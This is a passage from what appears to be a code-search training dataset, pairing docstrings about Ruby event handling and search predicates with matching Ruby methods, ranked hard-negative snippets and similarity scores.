"def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :ok }\n end\n end"
] | [
"0.7499399",
"0.72535795",
"0.7193845",
"0.71509445",
"0.7015333",
"0.699125",
"0.69773203",
"0.69632375",
"0.69632375",
"0.69607407",
"0.6893657",
"0.68016624",
"0.67435944",
"0.6742987",
"0.6742987",
"0.67184496",
"0.6668846",
"0.6650799",
"0.66481614",
"0.6621747",
"0.66061425",
"0.66061425",
"0.66061425",
"0.66061425",
"0.66061425",
"0.66061425",
"0.6602876",
"0.6602462",
"0.65896314",
"0.658537",
"0.6558897",
"0.65572786",
"0.6540211",
"0.6530453",
"0.6500981",
"0.6476805",
"0.6466909",
"0.64626694",
"0.6447837",
"0.64457774",
"0.64456975",
"0.6429481",
"0.64210564",
"0.64078856",
"0.64073724",
"0.63995445",
"0.63953",
"0.6373438",
"0.63732743",
"0.6354812",
"0.6352011",
"0.63490224",
"0.6334555",
"0.6332598",
"0.6328483",
"0.632777",
"0.63228977",
"0.63167095",
"0.6311916",
"0.6307041",
"0.62843466",
"0.62768483",
"0.62765896",
"0.62756413",
"0.62687784",
"0.62679815",
"0.6265154",
"0.6262486",
"0.6262048",
"0.62528807",
"0.6251403",
"0.62507135",
"0.62503177",
"0.62494564",
"0.624803",
"0.62424636",
"0.6241723",
"0.62339264",
"0.6227",
"0.62246823",
"0.62202144",
"0.6216893",
"0.62151945",
"0.6210773",
"0.62068456",
"0.6199526",
"0.61986524",
"0.61954814",
"0.61880857",
"0.61867213",
"0.61808133",
"0.6179077",
"0.61780244",
"0.6169403",
"0.6167116",
"0.6164533",
"0.6163465",
"0.61613834",
"0.615812",
"0.615432"
] | 0.7620046 | 0 |
Runs the event, calling the block with the given options. | def run(context, options = {})
#@block.call(options)
if @options[:defaults]
options = @options[:defaults].merge(options)
end
context.instance_exec(options, &@block)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run(options)\n act_on_options(options)\n end",
"def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end",
"def my_run(options={},&block)\n run_task(Xprobe2::Task.new(options,&block))\n end",
"def run\n block.call\n end",
"def run(&blk)\n raise(\"A block is needed to run\") unless block_given?\n @run_logic = blk\n end",
"def run(&block)\n end",
"def call(*args)\n block.call(*args)\n end",
"def run(&block); end",
"def run(options)\n raise \"Unimplemented method #run\"\n end",
"def call(*args)\n block.call(*args) if block\n end",
"def block\n options.fetch(:block)\n end",
"def run_callbacks(options = T.unsafe(nil), &block); end",
"def _run(context)\n return unless matches_context?(context)\n\n if @run_block\n puts \"[#{context.host}] Executing \\\"#{self.name}\\\"...\"\n @run_block.call(context)\n end\n end",
"def execute\n listen_for_changes\n @block.call\n end",
"def runblock\r\n\t\t\[email protected]\r\n\t\tend",
"def runblock\r\n\t\t\[email protected]\r\n\t\tend",
"def call\n @block.call(*values)\n end",
"def run(&block)\n task('run').tap do |t|\n t.enhance &block if block\n end\n end",
"def run\n @ctx.call(self,&@blk) if @blk\n end",
"def call_block\n @_block.call(self) if @_block\n end",
"def run\n handle_options()\n execute_operation()\n end",
"def call(*args, &block)\n @block.call *args, &block\n end",
"def runner(&block)\n if Vedeu.config.once?\n run_once { yield }\n\n else\n run_many { yield }\n\n end\n end",
"def call event\n fire(event)\n end",
"def action_callback(options)\n # Wait until the calling thread goes to sleep.\n while options[:thread].status == \"run\"\n sleep 0.1\n end\n\n # Run the block.\n if options[:thread].status == \"sleep\"\n # Call the callback.\n options[:block].call\n end\n rescue => e\n Log.exception(e)\n ensure\n # Wake up the thread.\n if options[:thread].status == \"sleep\"\n options[:thread].run\n end\n end",
"def on(*args, &block)\n @options.push args << lambda(&block)\n end",
"def run_if(&block)\n @run_if = block\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def run\n yield\n end",
"def listen_to(options = {}, &block) # :yields: script + :with or :yield_order option\n event = Google::Event.new :on => self.var, :event => options.extract(:event)\n event.listen_to options, &block\n \n event\n end",
"def do_run\n ready\n aim\n fire!\n end",
"def run!\n # Have to evalute/execute the block on the instance\n instance_eval &@block\n summary_at_exit\n end",
"def on_start(&block)\n @options[:start] = block\n end",
"def runner(&blk); end",
"def runner(&blk); end",
"def run(&block)\n @running_template = block\n end",
"def run_block\n yield\nend",
"def run(context = nil, *args)\n if context\n context.instance_exec(*args, &@block)\n else\n @block.call(*args)\n end\n end",
"def do_trigger\n\n @block.call @job_id, @cron_line, @params\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def event_subscription(options, &block)\n subscriptions.event(options, &block)\n end",
"def run!\n before_run\n\n HANDLER_CALLS.each { |c|\n if (h = @handlers[c])\n send(c, *(h.opts)) do |obj|\n h.call(obj)\n end\n end\n }\n\n after_run\n end",
"def run!\n before_run\n\n HANDLER_CALLS.each { |c|\n if (h = @handlers[c])\n send(c, *(h.opts)) do |obj|\n h.call(obj)\n end\n end\n }\n\n after_run\n end",
"def run\n \n if parsed_options?\n \n process_command\n end\n \n end",
"def perform(&block); end",
"def run(&action)\n raise \"Must override AsyncHandler#run\"\n end",
"def event(description)\n puts \"ALERT: #{description}\" if yield\nend",
"def call(vm)\r\n @block.call(self, vm)\r\n end",
"def start(&block)\n loop do\n event_data = self.next\n block.(event_data)\n end\n end",
"def during_analyze(&block)\n process_result call_original_command(@args, &block)\n end",
"def run(event, params = nil)\n @events[event].call(params)\n end",
"def call(object, options = {})\n runner(object, options).call\n end",
"def execute_hook(hook_name, *args, &block)\n event = Event.new(self, hook_name, args, !!block)\n\n if block\n execute_hook_recursively(hook_name, event, block)\n else\n execute_hook_iteratively(hook_name, event)\n end\n end",
"def execute_hook(hook_name, *args, &block)\n event = Event.new(self, hook_name, args, !!block)\n\n if block\n execute_hook_recursively(hook_name, event, block)\n else\n execute_hook_iteratively(hook_name, event)\n end\n end",
"def run_asap( &block )\n ::EM.next_tick( &block )\n end",
"def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end",
"def call(args)\n raise \"#{description} is unavailable because #{@why_unavailable}\" unless @available\n @block.call(args)\n end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def block; end",
"def call\n if @block\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self)\n end\n self\n end",
"def run \n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\"\n process_arguments(@validoptions.args)\n puts \"Finished at #{DateTime.now}\"\n else\n raise BoilerMakerErr.new(\"Could not parse options. An unknown error has ocurred.\")\n exit $!\n end\n end",
"def call\n catch_event unless no_event_possible?\n end",
"def process(_block = nil)\n EXEL::Job.run(@context[:job], @context)\n end",
"def call\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self) if @block\n self\n end",
"def call(*args)\n instance_exec(*correct_arg_arity(block.arity, args), &block)\n end",
"def call_block\n\tputs \"Start of method\"\n\tyield\n\tyield\n\tputs \"End of method\"\nend",
"def execute(event, obj)\n state_machine.run_callback event.name, obj do |obj|\n execute_action(event, obj)\n end\n end",
"def _perform(&block)\n\n begin\n\n r = validate\n return r unless r.success?\n\n yield if block_given?\n\n mark_contract_event_as_processed\n\n success\n\n rescue StandardError => se\n\n mark_contract_event_as_failed\n\n return exception_with_data(\n se,\n 'cem_b_1',\n 'exception in contract event management: ' + se.message,\n 'Something went wrong.',\n GlobalConstant::ErrorAction.default,\n {contract_event_obj_id: @contract_event_obj.id}\n )\n\n end\n\n end",
"def execute_in_main_thread(&block)\n EventMachine.schedule(&block)\n end",
"def BlocksAndMethods(&argumento)\n\targumento.call\nend",
"def execute!\n @context.backend.schedule { run }\n end",
"def call_block(&block)\n block.call\nend",
"def runner(&ruby_block)\n @runner_proc = ruby_block\n end",
"def execute(options = Hash.new, &block)\n default_on_replace = if abstract? then :copy else :drop end\n options = InstanceHandler.validate_options(options, on_replace: default_on_replace)\n\n check_arity(block, 1)\n @execute_handlers << InstanceHandler.new(block, (options[:on_replace] == :copy))\n ensure_poll_handler_called\n end",
"def call_option(context, name, *args)\n handler = find_option(name)\n context.instance_exec(*args, &handler)\n end",
"def _exec block, *args\n instance_exec(*args, &block)\n end",
"def event(name, &block)\n add_event name, &block\n end",
"def run(reactor, event, handle)\n raise \"Override me\"\n end",
"def run(_options)\n raise \"command '#{name}' is not implemented\"\n end",
"def process_event(event, session)\n logger = session.logger\n logger.debug \"#{self.class.name} running...\"\n @block.call(event, session) if @block\n end"
] | [
"0.7201375",
"0.6829764",
"0.6766009",
"0.67390764",
"0.6702059",
"0.6691134",
"0.6666734",
"0.651643",
"0.6483024",
"0.64294755",
"0.6361866",
"0.63533163",
"0.6306805",
"0.627165",
"0.626882",
"0.626882",
"0.6232353",
"0.6157915",
"0.6152884",
"0.6096895",
"0.60891706",
"0.6088644",
"0.60865724",
"0.6067964",
"0.60545284",
"0.60322666",
"0.6000902",
"0.5990129",
"0.5990129",
"0.5990129",
"0.597983",
"0.5968341",
"0.5965469",
"0.59618175",
"0.5930925",
"0.5906066",
"0.5906066",
"0.58928883",
"0.5884697",
"0.5870274",
"0.5865291",
"0.5833471",
"0.58151376",
"0.5811567",
"0.5811567",
"0.5796019",
"0.57897115",
"0.5781487",
"0.5774415",
"0.5761709",
"0.57416403",
"0.5729507",
"0.5718655",
"0.5717183",
"0.5701358",
"0.5701158",
"0.5693551",
"0.56934637",
"0.5689448",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56877935",
"0.56863743",
"0.56862986",
"0.56853527",
"0.56773925",
"0.56742394",
"0.56739736",
"0.5666401",
"0.56537944",
"0.5651711",
"0.56493974",
"0.5648068",
"0.56470037",
"0.5629905",
"0.56238383",
"0.56194335",
"0.5617322",
"0.56124735",
"0.5603312",
"0.5602024",
"0.5600706",
"0.5585116"
] | 0.6675411 | 6 |
Whether or not this event is a search event. | def search?
type == :search
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search?\n self.rel == \"search\"\n end",
"def has_simple_search?\n self.search_type.to_s == \"simple\" && !self.is_static?\n end",
"def searchable?\n @args[:search].present?\n end",
"def event?\n entry_type == :event\n end",
"def searching?\n @searching\n end",
"def has_event_with_options?(name, options = {})\n event = Event.new(name, options)\n event.type = :search\n events.dup.keep_if { |e| e.match? self, event }.to_a.first\n end",
"def override_search?(search_ui)\n respond_to?(override_search(search_ui))\n end",
"def override_search?(search_ui)\n respond_to?(override_search(search_ui))\n end",
"def is_event?\n self.object_type.downcase.to_s == \"event\"\n end",
"def event?\r\n is_category_type? 'event'\r\n end",
"def is_searchable\n return @is_searchable\n end",
"def event?(event)\n event_names.include?(event.to_s)\n end",
"def has_event_with_options?(name, options = {})\n event = Event.new(name, options)\n event.type = :search\n events.dup.keep_if { |e| e.match? Star.new, event }.to_a.first\n end",
"def event?\n type == :event_id\n end",
"def event?\n type == :event_id\n end",
"def has_complex_search?\n self.search_type.to_s == \"complex\" && !self.is_static?\n end",
"def searching?\n @searching\n end",
"def searching?\n return true unless params[:search].nil?\n end",
"def search_engine_class\n EventSearch\n end",
"def event?(name)\n @events.keys.include?(name.to_sym)\n end",
"def event? eve\n @_events.include? eve\n end",
"def event?(state)\n @events.key?(state)\n end",
"def event?\n !! @event\n end",
"def searchable?\n return @paginable_params[:search].present?\n end",
"def has_event?(name)\n return self.events(true).include? name.to_sym\n end",
"def has_event?(event_model)\n\t bound_events.has_key?(event_model)\n\tend",
"def has_search_parameters?\n params[:search_field].present? || search_state.has_constraints?\n end",
"def on_search_page?\n params['controller'] == 'catalog' && params['action'] == 'index'\n end",
"def search_type\n\t\tif is_user_search == \"1\"\n\t\t\treturn \"User Search\"\n\t\telsif is_tag_search == \"1\"\n\t\t\treturn \"Tag Search\"\n\t\tend\n\tend",
"def has_event?(event_model)\n bound_events.has_key?(event_model)\n end",
"def event?\n @events_mutex.synchronize do\n [email protected]?\n end\n end",
"def multi_field_search?\n return false\n end",
"def is_searchable?\n self.fields.count > 0\n end",
"def expandable_search?\n params[:q].present? and !params[:advanced_search] and !params[:click_to_search]\n end",
"def save_search?(_user = nil)\n SAVE_SEARCHES # TODO: criteria?\n end",
"def has_search_parameters?\n result = super || !params[:t].blank? || !params[:l].blank? || !params[:resolve].blank?\n end",
"def has_event?(event_name)\n return true unless model.respond_to?(:find_event)\n\n model.find_event(event_name.to_sym)\n end",
"def nothingToSearch? \n\t\treturn $toSearch.empty? \n\tend",
"def searchable\n [email protected]\n end",
"def searchable\n [email protected]\n end",
"def search?\n not user.nil?\n end",
"def event_isset? type\n @events.each do |event|\n if event.type == type\n return event\n end\n end\n return nil\n end",
"def event_is_defined(event_type)\n @events.has_key?(event_type)\n end",
"def series_event?\n parent and (parent.is_a?(WeeklySeries))\n end",
"def start_new_search_session?\r\n !%w[default online_contents collection_context child_components].include?(params[:view]) && super\r\n end",
"def has_search_parameters?\n !params[:q].blank? || !params[:f].blank? || !params[:search_field].blank?\n end",
"def exist?\n !(@event.nil? || @event.empty?)\n end",
"def events?\n !@calendar_events.empty?\n end",
"def contains_event?(e)\n (e.time_from_start >= @start) && (e.time_from_start <= @end)\n end",
"def start_new_search_session?\n false\n end",
"def start_new_search_session?\n false\n end",
"def search?\n unless /GET|HEAD/ =~ request_method\n return false\n end\n \n if id? \n false\n else\n true\n end\n end",
"def event_index?\n # user_activities.include? 'attachment:index'\n # user_activities.include? 'attachment:event_index'\n (user_activities.include? 'attachment:event_index') || (event_activities(@model).include? 'attachment:event_index')\n end",
"def show_search_box?\n (controller.controller_name.eql? \"catalog\")\n end",
"def needs_db_query?(search)\n search[:author_id].present? || search[:include_closed] == true\n end",
"def event_type_supported?\n return false if type = params[:type]\n SlackEvents.has_key?(type)\n end",
"def has_searchable_text?(document)\n document['has_searchable_pages_bsi']\n end",
"def search_support?\n search_columns.present?\n end",
"def has_search_parameters?\n !params[:q].blank? or !params[:f].blank? or !params[:search_field].blank?\n end",
"def start_new_search_session?\n !%w[online_contents collection_context child_components].include?(params[:view]) && super\n end",
"def attending?(event)\n events.include?(event)\n end",
"def own_cse?(custom_search_engine)\n if self.custom_search_engines.include? custom_search_engine\n true\n elsif self.custom_search_engines.map{|cse| cse.parent_id}.include? custom_search_engine.id\n true\n else\n false\n end\n end",
"def parser?\n ! @search_parser.nil?\n end",
"def parser?\n ! @search_parser.nil?\n end",
"def search\n\t\treturn false if self.search_url.blank?\n\t\tbegin\n\t\t\turi = URI.parse(self.search_url)\n\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\trequest = Net::HTTP::Get.new(uri.request_uri)\n\t\t\tif ENV['TRACKING_USER_AGENT']\n\t\t\t\trequest[\"User-Agent\"] = ENV['TRACKING_USER_AGENT']\n\t\t\tend\n\t\t\tresponse = http.request(request)\n\n\t\t\tlog_search_results(response) if response.kind_of? Net::HTTPSuccess\n\t\trescue # something bad happened, ignore for now\n\t\t\tfalse\n\t\tend\n\tend",
"def has_search_parameters?\n # Blacklight's logic, covers Catalog, AC, LWeb\n return true unless params[:q].blank?\n return true unless params[:f].blank?\n return true unless params[:search_field].blank?\n\n # Consider the empty-query to be an active search param as well.\n # (just \"q=\", meaning, retrieve ALL documents of this datasource)\n return true if params[:q]\n\n # Summon params are different...\n # (although we're trying to remove 's.q' from params.)\n return true unless params['s.q'].blank?\n return true unless params['s.fq'].blank?\n return true unless params['s.ff'].blank?\n\n # No, we found no search parameters\n false\n end",
"def search_engine?\n @_se ||= (@platform == 'web' && browser.user_agent.match(/\\(.*https?:\\/\\/.*\\)/)) || params[:se] == '1'\n end",
"def going?(event)\n attended_events.include?(event)\n end",
"def events_at?(date)\n !@calendar_events[date].empty?\n end",
"def start_new_search_session?\n super && params[:format] != 'json'\n end",
"def user_wants_to_join?\n @data['event']['text'].downcase != 'no'\n end",
"def search_status\n if uri_term?\n :single_result\n else\n perform_search\n end\n end",
"def event_eligible?(events, uri)\n event = events.find { |evt|\n event = evt['_resolved'];\n ext_doc = event['external_documents'][0];\n event['event_type'] == 'ingestion' and ext_doc and ext_doc['location'] == uri\n }\n debug \"Islandora event eligible: #{event}\" if event\n event\n end",
"def is_searchable=(value)\n @is_searchable = value\n end",
"def event_supported?(event_type)\n SUPPORTED_EVENTS.include? event_type\n end",
"def event_filtered?(type, row)\n event_filter = sync_options[:event_filter]\n if event_filter && event_filter.respond_to?(:before_sync)\n not event_filter.before_sync(\n helper.left_table,\n helper.extract_key([row].flatten.first),\n helper,\n type,\n row\n )\n else\n false\n end\n end",
"def start_new_search_session?\n super || params[:action] == 'admin'\n end",
"def start_new_search_session?\n super || params[:action] == 'admin'\n end",
"def start_new_search_session?\n super || params[:action] == 'admin'\n end",
"def single_date?\n event_type.to_sym == :single\n end",
"def matches_query?\n self.title == query[:text]\n end",
"def searchable_in_registry?\n # Use blacklist instead of whitelist; almost all MO names are searchable\n !unsearchable_in_registry?\n end",
"def upcoming_event?(event)\n #FIXME_AB: no need to fire a query.\n Event.upcoming.include?(event)\n end",
"def document?\n self.type == \"Document\"\n end",
"def has_event?(event)\n @has_event ||= {}\n @has_event[event] ||= signed_up_events.where(event_id: event.id).any?\n end",
"def registered?(event_type, region = nil)\n topic_key = \"#{region}:#{event_type}\"\n @known_event_types.key?(topic_key)\n end",
"def common_event_reserved?\n !@reserved_common_events.empty?\n end",
"def valid_n3_search_type?(element)\n return !element.nil? && [\"equal\", \"notequal\", \"matches\", \"bounded\"].include?(element)\n end",
"def has_any_event\n include InstanceMethods unless @published_events\n @published_events = :any_event_is_ok\n end",
"def said? event, phrase\n if event[:phrase]\n event[:phrase].downcase.include? phrase.downcase\n else\n false\n end\n end",
"def get_results\n # 1. if the search is blank do NOT run the search (handled in subclasses)\n !self.search_text.blank? && !self.search_query.blank? && !self.search_type.blank? && !self.search_locale.blank?\n end",
"def back_to_catalog_needed\n return !session[:search].blank?\n end",
"def search_pagination_enabled?\n !scaffold_search_results_limit.nil?\n end",
"def subscribe_event?( some_event)\n section_events = self.section.subscribed_global_event_array\n section_events.include? some_event.event_name\n end",
"def start_new_search_session?\n params[:action] == 'show'\n end",
"def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end",
"def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end",
"def registered_to_event? event\n event.registrations.include? registrations.find_by(conference: event.program.conference)\n end",
"def attended_event? event\n event_registration = event.events_registrations.find_by(registration: registrations)\n\n return false unless event_registration.present?\n\n event_registration.attended\n end",
"def search_type\n case type\n when \"opinions\"\n query.only_amendables\n when \"amendments\"\n query.only_visible_emendations_for(@current_user, @component)\n else # Assume 'all'\n query.amendables_and_visible_emendations_for(@current_user, @component)\n end\n end"
] | [
"0.7050877",
"0.68856",
"0.68108463",
"0.6662095",
"0.66348374",
"0.6611465",
"0.65955347",
"0.65955347",
"0.6538532",
"0.6480304",
"0.64727294",
"0.64443326",
"0.64290655",
"0.6394361",
"0.6394361",
"0.63826466",
"0.63657427",
"0.6335163",
"0.62802213",
"0.62311774",
"0.6182962",
"0.61784875",
"0.6061994",
"0.60610133",
"0.6046416",
"0.60463667",
"0.6033718",
"0.59924114",
"0.5939356",
"0.5899203",
"0.58719",
"0.587159",
"0.5865715",
"0.58604026",
"0.5851404",
"0.5848627",
"0.58278364",
"0.5819247",
"0.58127475",
"0.58127475",
"0.5785446",
"0.57843554",
"0.5778804",
"0.577407",
"0.57509816",
"0.573399",
"0.572138",
"0.57146513",
"0.56936014",
"0.5666725",
"0.5666725",
"0.56618077",
"0.5647492",
"0.5642039",
"0.5638891",
"0.56387526",
"0.5628672",
"0.56071496",
"0.5606079",
"0.557616",
"0.556866",
"0.55548996",
"0.554626",
"0.554626",
"0.55325615",
"0.55265105",
"0.55120987",
"0.5505756",
"0.54955584",
"0.5489488",
"0.54884124",
"0.54873234",
"0.54845136",
"0.54756385",
"0.5447965",
"0.542862",
"0.54237056",
"0.54237056",
"0.54228336",
"0.542211",
"0.5421897",
"0.5421701",
"0.54184294",
"0.5415356",
"0.5399405",
"0.5392013",
"0.53375345",
"0.53342444",
"0.5330616",
"0.5320548",
"0.53181744",
"0.5285836",
"0.52842987",
"0.52839315",
"0.52828777",
"0.52816164",
"0.52816164",
"0.5280171",
"0.5271843",
"0.5265702"
] | 0.77010936 | 0 |
Whether or not this event matches another event, to see if it can be ran using this event definition. | def match?(star, event)
event.name == name &&
check_platform_requirement(star) && check_options_requirements(event.options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _events_match(e1, e2)\n e1.source && e2.source && e1.source.title == e2.source.title && e1.start.date_time.to_s == e2.start.date_time.to_s\n end",
"def matches?(event_name, *args)\n @event_name == event_name and (any_args? or @args == args)\n end",
"def ==(other_event)\n EQUALITY_FIELDS.each do |field|\n return false unless send(field) == other_event.send(field)\n end\n\n true\n end",
"def event_raised?(event_name, mode = :instance, *args)\n mc = event_raises[mode][event_name.to_s.to_sym] \n if mc\n vari = mc.find_argument_variations(args)\n result = vari.any? { |agv| agv == args }\n return result if result\n if args.size == 1 and args.last.is_a?(Hash)\n result = vari.any? do |agv|\n agv.args.last.is_a?(Hash) and args.last.all? { |k, v| agv.args.last[k] == v }\n end\n end\n @event_error = \"Event Arguments don't match for #{event_name}.\\n\\nYou expected:\\n#{args.join(\", \")}.\\n\\nI did find the following variations:\\n#{mc.args.collect {|ar| ar.args.join(', ') }.join(' and ')}\" unless result\n result\n else\n @event_error = \"Couldn't find an event with name #{event_name}\"\n return !!mc\n end\n end",
"def match?(event)\n matchers.all? { |matcher| matcher.match?(event) }\n end",
"def =~(other)\n (other = other.to_wires_event if other.respond_to? :to_wires_event) ? \n (([:*, other.type].include? self.type) and \n (not self.kwargs.each_pair.detect{|k,v| other.kwargs[k]!=v}) and\n (not self.args.each_with_index.detect{|a,i| other.args[i]!=a})) :\n super\n end",
"def common_event_reserved?\n !@reserved_common_events.empty?\n end",
"def event?(event)\n event_names.include?(event.to_s)\n end",
"def collide_with_events?(x, y)\n $game_map.events_xy_nt(x, y).any? do |event|\n return true if event.page.event_block\n return false if event.through\n return event.priority_type == self.priority_type\n end\n end",
"def performed?(event)\n @triggered.include?(event)\n end",
"def performed?(event)\n @triggered.include?(event)\n end",
"def ==(other)\n (other = other.to_wires_event if other.respond_to? :to_wires_event) ? \n ((self.type == other.type) and\n (self.args == other.args) and\n (self.kwargs == other.kwargs) and\n (self.codeblock == other.codeblock)) :\n super\n end",
"def contains_event?(e)\n (e.time_from_start >= @start) && (e.time_from_start <= @end)\n end",
"def collide_with_events?(x, y)\r\n $game_map.events_xy_nt(x, y).any? do |event|\r\n event.normal_priority? || self.is_a?(Game_Event)\r\n end\r\n end",
"def attending?(event)\n events.include?(event)\n end",
"def common_event_reserved?\n @common_event_id > 0\n end",
"def common_event_reserved?\r\n @common_event_id > 0\r\n end",
"def event?(name)\n @events.keys.include?(name.to_sym)\n end",
"def check_event_trigger_there(triggers)\n return false\n end",
"def affects?(event)\n !event.deleted &&\n time_matches?(event) &&\n faculty_matches?(event) &&\n semester_matches?(event) &&\n course_matches?(event) &&\n timetable_slot_matches?(event)\n end",
"def collide_with_events?(x, y)\r\r\n $game_map.events_xy_rect_nt(x, y, collision_rect).any? do |event|\r\r\n (event.normal_priority? || self.is_a?(Game_Event)) && event != self\r\r\n end\r\r\n end",
"def matches? event\n return false if event.start.day != event.finish.day\n self.wdays.each { |wday| return true if wday.matches?(event) }\n false\n end",
"def check_event_trigger_here(triggers)\n return false\n end",
"def check_event_trigger_there(triggers)\n result = false\n return result\n end",
"def ==(other_event)\n other_event.instance_of?(self.class) && other_event.event_type.eql?(event_type) &&\n other_event.event_id.eql?(event_id) && other_event.data.eql?(data)\n end",
"def flown_in_event?(combination)\n event_participants.include?(combination.map(&:id))\n end",
"def has_event?(event_model)\n\t bound_events.has_key?(event_model)\n\tend",
"def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end",
"def has_interesting_events?\n has_structure_updates? || has_event_propagation_updates?\n end",
"def check_event_trigger_here(triggers)\n result = false\n return result\n end",
"def event? eve\n @_events.include? eve\n end",
"def has_event?(name)\n return self.events(true).include? name.to_sym\n end",
"def has_event?(event_model)\n bound_events.has_key?(event_model)\n end",
"def collide_with_events?(x, y)\n $game_map.events_xy_nt(x, y).any? do |event|\n if event.event.name =~ /ETAGE <(\\d+)>/ && Etage::MAP.include?($game_map.map_id)\n etage = $1.to_i\n if (etage-@etage_actuel).abs >= 2\n false\n else\n event.normal_priority? || self.is_a?(Game_Event)\n end\n else\n event.normal_priority? || self.is_a?(Game_Event)\n end\n end\n end",
"def matches\n process_events! unless @matches\n @matches\n end",
"def event?(state)\n @events.key?(state)\n end",
"def attending?(event)\n\t\tattended_events.accepted.include?(event)\n\tend",
"def conflict?\n conflicts = users_events.select{|e| e.start_time < self.end_bound && e.end_time > self.start_bound}.sort{|a,b| a.start_time <=> b.start_time}\n conflicts -= [self]\n if conflicts.empty?\n return false\n else\n return (!self.resolve_conflict([self]))\n end\n end",
"def event?\n @events_mutex.synchronize do\n [email protected]?\n end\n end",
"def can_event?(step)\n model_events.include? step&.to_sym\n end",
"def events_are_equal?(a, b)\n return false if a.id != b.id\n return false if a.title != b.title\n return false if a.status != b.status\n return false if a.description != b.description\n return false if a.location != b.location\n return false if a.transparency != b.transparency\n return false if a.start_time != b.start_time\n return false if a.end_time != b.end_time\n #a.attendees ||= []\n #b.attendees ||= []\n #if a.attendees && b.attendees\n #return false if a.attendees.size != b.attendees.size\n #a.attendees.sort! { |m, n| m['email'] <=> n['email'] }\n #b.attendees.sort! { |m, n| m['email'] <=> n['email'] }\n #a.attendees.zip(b.attendees).each do |m, n|\n #return false if m['email'] != n['email']\n #return false if m['responseStatus'] != n['responseStatus']\n #end\n #else # one nil and not the other\n #return false\n #end\n return true\n end",
"def use_event_attributes?\n !skip_actions && !skip_after && actions.all? && actions.length == 1 && first.machine.action_hook?\n end",
"def ===(e)\n EVENT_MAP[e.to_sym].include?(@event)\n end",
"def event?\n type == :event_id\n end",
"def event?\n type == :event_id\n end",
"def is_event?\n self.object_type.downcase.to_s == \"event\"\n end",
"def attending?(event)\n attended_events.include?(event)\n end",
"def going?(event)\n attended_events.include?(event)\n end",
"def event?\n entry_type == :event\n end",
"def event_is_defined(event_type)\n @events.has_key?(event_type)\n end",
"def is_applicable?(event)\n case event\n when EventNames::PRESERVE\n true\n else\n false\n end\n end",
"def valid_event(event, args)\n true\n end",
"def time_overlap(event)\n (event.start < self.end && event.start > self.start) or\n (self.start < event.end && self.start > event.start)\n end",
"def is_expected(event)\n # TODO Implement this\n end",
"def week_day_conflict?(event)\n @start.wday == event.start.wday\n end",
"def object_is_me? event\n event[:target] == self\n end",
"def can_trigged?(event)\n false\n end",
"def responds_on?(buffy_context)\n return true unless event_action\n buffy_context.event_action == event_action ? true : false\n end",
"def overlap_ok?\n # if overlap: true\n end",
"def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end",
"def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end",
"def can_be_executed?(event, obj)\n state = event.can_be_transitioning_to(obj)\n !!state && validators.validate(state.to, obj)\n end",
"def verify(event_data)\n true\n end",
"def has_event?(event_name)\n return true unless model.respond_to?(:find_event)\n\n model.find_event(event_name.to_sym)\n end",
"def enforced?(events)\n case self.timeframe\n when \"at least once from Monday to Thursday\"\n check = []\n (1..4).each do |d|\n check << !Event.any_event_after?(events.where(day: d), self.hour)\n end\n return check.include?(true)\n when \"on Mondays\"\n events = events.where(day: 1)\n when \"on Tuesdays\"\n events = events.where(day: 2)\n when \"on Wednesdays\"\n events = events.where(day: 3)\n when \"on Thursdays\"\n events = events.where(day: 4)\n when \"on Fridays\"\n events = events.where(day: 5)\n when \"on Saturdays\"\n events = events.where(day: 6)\n when \"on Sundays\"\n events = events.where(day: 0)\n when \"on weekends\"\n events = events.where(day: [0, 6])\n when \"on weekdays\"\n events = events.where(day: 1..5)\n end\n\n case self.adverb\n when \"before\"\n return !Event.any_event_before?(events, self.hour)\n when \"after\"\n return !Event.any_event_after?(events, self.hour)\n when \"at all\"\n return events.count == 0\n end\n end",
"def attended_event? event\n event_registration = event.events_registrations.find_by(registration: registrations)\n\n return false unless event_registration.present?\n\n event_registration.attended\n end",
"def matches?(runner)\n raise NotImplementedError\n end",
"def accepts?(other)\n true\n end",
"def check_event_trigger_touch(x, y)\n result = false\n return result\n end",
